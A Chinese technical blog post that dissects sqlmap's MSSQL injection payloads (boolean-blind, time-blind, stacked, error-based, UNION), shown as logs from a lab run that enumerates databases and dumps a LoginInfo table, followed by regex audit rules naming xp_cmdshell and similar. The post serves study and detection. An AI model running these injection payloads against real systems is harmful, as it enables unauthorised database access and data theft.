【sqlmap】mssql payload总结

SQLMAP的几种注入类型:

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。B
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。T
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。

布尔盲注


根据Sqlmap的基础知识,SQL默认是risk 1,而只有指定risk 3的时候才会尝试OR语句,默认只会尝试And语句。例如

[08:47:39] [PAYLOAD] xxxxx) AND 6520=5100 AND (1675=1675
[08:47:39] [PAYLOAD] xxxxx) AND 7962=7962 AND (1208=1208
[08:47:39] [PAYLOAD] xxxxx AND 4322=1496
[08:47:39] [PAYLOAD] xxxxx AND 7962=7962
[08:47:39] [PAYLOAD] xxxxx') AND 4890=2057 AND ('GECz'='GECz
[08:47:39] [PAYLOAD] xxxxx') AND 7962=7962 AND ('BSfL'='BSfL
[08:47:39] [PAYLOAD] xxxxx' AND 4048=3117 AND 'Uuva'='Uuva
[08:47:39] [PAYLOAD] xxxxx' AND 7962=7962 AND 'xLPH'='xLPH
[08:47:39] [PAYLOAD] xxxxx%' AND 9495=9814 AND '%'='
[08:47:39] [PAYLOAD] xxxxx%' AND 7962=7962 AND '%'='
[08:47:39] [PAYLOAD] xxxxx AND 9806=4934-- GFoG
[08:47:39] [PAYLOAD] xxxxx AND 7962=7962-- UcZg

那么如果我提供的参数值本身就没有查询结果的话,那么默认的Risk 1是无法布尔盲注的。
比如我提供的参数是xxxxx,对应的SQL查询结果是空,那么Sqlmap检测结果是:

[08:47:42] [WARNING] GET parameter 'name' does not seem to be injectable

而我提供的参数值是xxxx,对应的SQL查询结果不为空,那么sqlmap检测结果是:

GET parameter 'name' is vulnerable.

如果设置risk 3,就可以了,但这个有个sqlmap的BUG。这里我的sqlmap语句如下:

python sqlmap.py -u http://192.168.192.144:32100/sql.jsp?name=xxxxx -v 5 --technique B --current-user --batch --risk 3

这个新增加的Payload如下:

[09:33:53] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[09:33:53] [PAYLOAD] -5078
[09:33:53] [PAYLOAD] -2608) OR 2699=5250 AND (3310=3310
[09:33:53] [PAYLOAD] -4971) OR 5141=5141 AND (2563=2563
[09:33:53] [PAYLOAD] -6986 OR 8399=1391
[09:33:53] [PAYLOAD] -9601 OR 5141=5141
[09:33:53] [PAYLOAD] -8424') OR 1834=6799 AND ('CjOY'='CjOY
[09:33:53] [PAYLOAD] -1911') OR 5141=5141 AND ('NRjr'='NRjr
[09:33:53] [PAYLOAD] -1522' OR 4027=1559 AND 'UcpU'='UcpU
[09:33:53] [PAYLOAD] -5243' OR 5141=5141 AND 'BpgS'='BpgS

我们看这两条

[09:33:53] [PAYLOAD] -1522' OR 4027=1559 AND 'UcpU'='UcpU
[09:33:53] [PAYLOAD] -5243' OR 5141=5141 AND 'BpgS'='BpgS

这里返回的Content-Length明显是不同的,如下:

[09:33:53] [PAYLOAD] -5078 (Content-Length:270)
[09:33:53] [PAYLOAD] -1522' OR 4027=1559 AND 'UcpU'='UcpU(Content-Length:270)
[09:33:53] [PAYLOAD] -5243' OR 5141=5141 AND 'BpgS'='BpgS(Content-Length:327)

但是sqlmap没有检测出来,而当我加上–level 3时就可以检测出来了,Payload如下:

[11:32:47] [PAYLOAD] xxxxx' OR NOT 6885=9476-- KlLn
[11:32:47] [PAYLOAD] xxxxx' OR NOT 8732=8732-- cyBv
[11:32:47] [INFO] GET parameter 'name' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT)' injectable

可以看到添加上NOT就可以了,实际添加NOT和不添加NOT应该是没区别的,但是默认的–level 1就无法检测出来。
这里我在Mysql中也测试过,默认的–level 1就可以检测出注入

[09:33:53] [PAYLOAD] -1522' OR 4027=1559 AND 'UcpU'='UcpU
[09:33:53] [PAYLOAD] -5243' OR 5141=5141 AND 'BpgS'='BpgS
[09:33:53] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable (with --string="Me")

应该是一个BUG,以后跑SQL注入还是加上–level 3参数比较好,虽然会比较费时。

用户
SYSTEM_USER

[11:40:18] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))),1,1))>64 AND 'HuvO'='HuvO

数据库
DB_NAME()

[11:46:18] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),1,1))>64 AND 'kWIl'='kWIl

所有数据库

[11:47:39] [INFO] fetching number of databases //获取数据库数量
[11:47:39] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases),1,1))>51 AND 'ijOE'='ijOE

然后逐个获取数据库名称

[11:47:40] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases WHERE name NOT IN (SELECT TOP 0 name FROM master..sysdatabases ORDER BY name) ORDER BY name),6,1))>96 AND 'KIgW'='KIgW

test数据库的所有表

[13:57:27] [INFO] fetching tables for database: test
[13:57:27] [INFO] fetching number of tables for database 'test' //获取表数量
[13:57:27] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118))),1,1))>50 AND 'GRfH'='GRfH

然后逐个获取表名称

[13:57:27] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 0 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),1,1))>64 AND 'aghv'='aghv

test库LoginInfo表的字段

[14:06:35] [INFO] fetching columns for table 'LoginInfo' in database 'test'
[14:06:35] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM test..syscolumns WHERE id=(SELECT id FROM test..sysobjects WHERE name=CHAR(76)+CHAR(111)+CHAR(103)+CHAR(105)+CHAR(110)+CHAR(73)+CHAR(110)+CHAR(102)+CHAR(111))),1,1))>51 AND 'uOuB'='uOuB

然后逐个获取字段名称

[14:06:35] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..syscolumns.name AS NVARCHAR(4000)),CHAR(32)) FROM test..syscolumns,test..sysobjects WHERE test..syscolumns.id=test..sysobjects.id AND test..sysobjects.name=CHAR(76)+CHAR(111)+CHAR(103)+CHAR(105)+CHAR(110)+CHAR(73)+CHAR(110)+CHAR(102)+CHAR(111) AND test..syscolumns.name NOT IN (SELECT TOP 0 test..syscolumns.name FROM test..syscolumns,test..sysobjects WHERE test..syscolumns.id=test..sysobjects.id AND test..sysobjects.name=CHAR(76)+CHAR(111)+CHAR(103)+CHAR(105)+CHAR(110)+CHAR(73)+CHAR(110)+CHAR(102)+CHAR(111) ORDER BY test..syscolumns.name) ORDER BY test..syscolumns.name),2,1))>104 AND 'dLNO'='dLNO

test库LoginInfo表的数据
下面来看一下MSSQL是如何dump数据的
首先获取表的行数

[14:27:50] [INFO] fetching entries for table 'LoginInfo' in database 'test'
[14:27:50] [INFO] fetching number of entries for table 'LoginInfo' in database 'test'
[14:27:50] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(*))) AS NVARCHAR(4000)),CHAR(32)) FROM test.dbo.LoginInfo),1,1))>51 AND 'VdVA'='VdVA
[14:27:50] [INFO] retrieved: 4

可以看到共有4行数据,然后sqlmap会尝试获取4个字段的不重复数据的数量看是否等于4,例如这里我的测试数据如下:

+----+------------+------------+
| id | name | class |
+----+------------+------------+
| 12 | hehe | haha |
| 2 | test | test |
| 1 | xxxx | oooo |
| 2 | 文森特 | 6666 |
+----+------------+------------+

可以看到第一个字段id的值有重复的,我们来看下sqlmap的语句

[14:27:50] [INFO] fetching number of distinct values for column 'id'
[14:27:50] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(DISTINCT(id)))) AS NVARCHAR(4000)),CHAR(32)) FROM test.dbo.LoginInfo),1,1))>51 AND 'XKGF'='XKGF
...
[14:27:50] [INFO] retrieved: 3

可以看到获取到id字段的不重复数据有3条,小于4,那么sqlmap会接着查找。

[14:27:50] [INFO] fetching number of distinct values for column 'name'
[14:27:50] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(DISTINCT(name)))) AS NVARCHAR(4000)),CHAR(32)) FROM test.dbo.LoginInfo),1,1))>51 AND 'sAPJ'='sAPJ
...
[14:27:51] [INFO] retrieved: 4
[14:27:51] [INFO] using column 'name' as a pivot for retrieving row data

可以看到name字段不重复数据有4条,那么后续就使用name字段作为标准。
然后通过比较逐个字符二分查找获取第一个name值

[14:27:51] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32))) FROM test.dbo.LoginInfo WHERE CONVERT(NVARCHAR(4000),name)>CHAR(32)),1,1))>64 AND 'BLxX'='BLxX
[14:27:52] [INFO] retrieved: hehe

然后以name=hehe为条件获取其他字段的内容,如下:

[15:06:20] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT MAX(ISNULL(CAST(class AS NVARCHAR(4000)),CHAR(32))) FROM test.dbo.LoginInfo WHERE CONVERT(NVARCHAR(4000),name) LIKE CHAR(104)+CHAR(101)+CHAR(104)+CHAR(101)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)),10,1))>31 AND 'mPXD'='mPXD

然后获取第二个name值

[15:06:20] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32))) FROM test.dbo.LoginInfo WHERE CONVERT(NVARCHAR(4000),name)>CHAR(104)+CHAR(101)+CHAR(104)+CHAR(101)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)),1,1))>64 AND 'sGdV'='sGdV
....
[15:06:22] [INFO] retrieved: test

然后以name=test为条件获取其他字段的内容,以此类推。

而如果数据库中的确有两条数据是这样的:

会提示
[18:57:55] [WARNING] no proper pivot column provided (with unique values). It won’t be possible to retrieve all rows

时间盲注


语句与布尔盲注类似
xxxx’ IF 1=1 waitfor delay ‘0:0:1’ —
然后也是利用逐字符比较

 

堆查询注入


与时间盲注相同,多了个;

 

报错注入


报错注入会将错误信息回显到Web页面中,所有不用逐个字符读取,速度要快上很多。
test库LoginInfo表的字段数

[16:19:57] [INFO] fetching columns for table 'LoginInfo' in database 'test'
[16:19:57] [PAYLOAD] xxxx' AND 7690 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT ISNULL(CAST(COUNT(*) AS NVARCHAR(4000)),CHAR(32)) FROM test..syscolumns,test..sysobjects WHERE test..syscolumns.id=test..sysobjects.id AND test..sysobjects.name=CHAR(76)+CHAR(111)+CHAR(103)+CHAR(105)+CHAR(110)+CHAR(73)+CHAR(110)+CHAR(102)+CHAR(111))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(120)+CHAR(113)))-- iyOJ
[16:19:58] [INFO] the SQL query used returns 3 entries

获取条数

[16:19:58] [INFO] fetching entries for table 'LoginInfo' in database 'test'
[16:19:58] [PAYLOAD] xxxx' AND 3033 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT ISNULL(CAST(LTRIM(STR(COUNT(*))) AS NVARCHAR(4000)),CHAR(32)) FROM test.dbo.LoginInfo)+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(120)+CHAR(113)))-- LSFE
[16:19:58] [INFO] retrieved: 4

通过比对发现name的不重复值数量等于4,所以使用name作为条件标准。

[16:19:58] [INFO] fetching number of distinct values for column 'id'
[16:19:58] [PAYLOAD] xxxx' AND 3330 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT ISNULL(CAST(LTRIM(STR(COUNT(DISTINCT(id)))) AS NVARCHAR(4000)),CHAR(32)) FROM test.dbo.LoginInfo)+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(120)+CHAR(113)))-- YKQR
[16:19:58] [INFO] retrieved: 3
[16:19:58] [DEBUG] performed 1 queries in 0.02 seconds
[16:19:58] [INFO] fetching number of distinct values for column 'name'
[16:19:58] [PAYLOAD] xxxx' AND 4123 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT ISNULL(CAST(LTRIM(STR(COUNT(DISTINCT(name)))) AS NVARCHAR(4000)),CHAR(32)) FROM test.dbo.LoginInfo)+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(120)+CHAR(113)))-- aXVU
[16:19:58] [INFO] retrieved: 4
[16:19:58] [DEBUG] performed 1 queries in 0.02 seconds
[16:19:58] [INFO] using column 'name' as a pivot for retrieving row data

然后获取第一个name值

[16:19:58] [PAYLOAD] xxxx' AND 2099 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT SUBSTRING((MIN(ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32)))),1,1024) FROM test.dbo.LoginInfo WHERE CONVERT(NVARCHAR(4000),name)>CHAR(32))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(120)+CHAR(113)))-- TCBc
[16:19:58] [INFO] retrieved: hehe

获取name=hehe的其他字段

[16:19:58] [PAYLOAD] xxxx' AND 1011 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT SUBSTRING((MAX(ISNULL(CAST(id AS NVARCHAR(4000)),CHAR(32)))),1,1024) FROM test.dbo.LoginInfo WHERE CONVERT(NVARCHAR(4000),name) LIKE CHAR(104)+CHAR(101)+CHAR(104)+CHAR(101)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(120)+CHAR(113)))-- rTmM
[16:19:58] [INFO] retrieved: 12
....

Union注入


Sqlmap使用union select dump数据的时候,会使用SELECT class, id, name FROM test.dbo.LoginInfo FOR XML RAW, BINARY 来一次获取多行的数据。
例如获取字段

[19:06:14] [INFO] fetching columns for table 'LoginInfo' in database 'test'
[19:06:14] [PAYLOAD] xxxx' UNION ALL SELECT NULL,(SELECT test..syscolumns.name AS bpgi,TYPE_NAME(test..syscolumns.xtype) AS dkrn FROM test..syscolumns,test..sysobjects WHERE test..syscolumns.id=test..sysobjects.id AND test..sysobjects.name='LoginInfo' FOR XML RAW, BINARY BASE64),NULL-- zkKO

返回内容如下:

<row nxkz="id" mbxs="int"/><row nxkz="name" mbxs="nchar"/><row nxkz="class" mbxs="nchar"/>

例如获取数据

[19:06:14] [INFO] fetching entries for table 'LoginInfo' in database 'test'
[19:06:14] [PAYLOAD] xxxx' UNION ALL SELECT NULL,(SELECT class, id, name FROM test.dbo.LoginInfo FOR XML RAW, BINARY BASE64),NULL-- nlRQ

返回内容如下

<row class="oooo " id="1" name="xxxx "/><row class="zzzz " id="1" name="yyyy "/><row class="haha " id="12" name="hehe "/><row class="haha " id="2" name="xxxx "/>

审计规则


((?i)(sys(databases|objects|columns)|information_schema))
((?i)(xp_(cmdshell|regwrite|regread|dirtree)|sp_(configure|makewebtask|OACreate|OAMethod|addlogin|addsrvrolemember|password)|openrowset))
((?i)(WAITFOR\s{1,10}(DELAY|TIME)))
((?i)((IS_SRVROLEMEMBER|IS_MEMBER|HAS_DBACCESS|db_name|suser_sname|SERVERPROPERTY)\s{0,10}\())
((?i)(convert\s{0,10}\(\s{0,10}int))
((?i)(ISNULL\s{0,10}\(\s{0,10}CAST))
((?i)((unicode|ascii)\s{0,10}\(\s{0,10}substring\s{0,10}\())
((?i)((char\(\d{1,3}\)\+?){3,}))
((?i)((NULL,){3,}))
((?i)FOR XML RAW)